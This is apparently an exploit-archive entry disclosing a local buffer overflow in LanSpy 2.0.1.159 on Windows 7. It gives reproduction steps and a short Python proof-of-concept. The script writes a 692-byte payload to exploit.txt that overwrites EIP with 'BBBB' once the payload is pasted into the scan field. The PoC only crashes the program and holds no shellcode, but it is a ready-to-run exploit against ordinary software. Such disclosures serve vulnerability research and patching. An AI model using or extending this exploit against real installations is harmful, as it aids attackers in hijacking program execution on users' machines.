LanSpy 2.0.1.159 Buffer Overflow

LanSpy version 2.0.1.159 suffers from a local buffer overflow vulnerability.


MD5 | 3ac41bf9025e49e85846795af82daed6

# Exploit Title: LanSpy 2.0.1.159 - Local BoF (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-07
# Homepage: https://lizardsystems.com
# Software Link: https://lizardsystems.com/download/lanspy_setup.exe
# Tested Version: 2.0.1.159
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window paste the content of
# "exploit.txt" into the scan field. Click the start button.

#!/usr/bin/python

buffer = "A" * 688

eip = "B" * 4

payload = buffer + eip
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"



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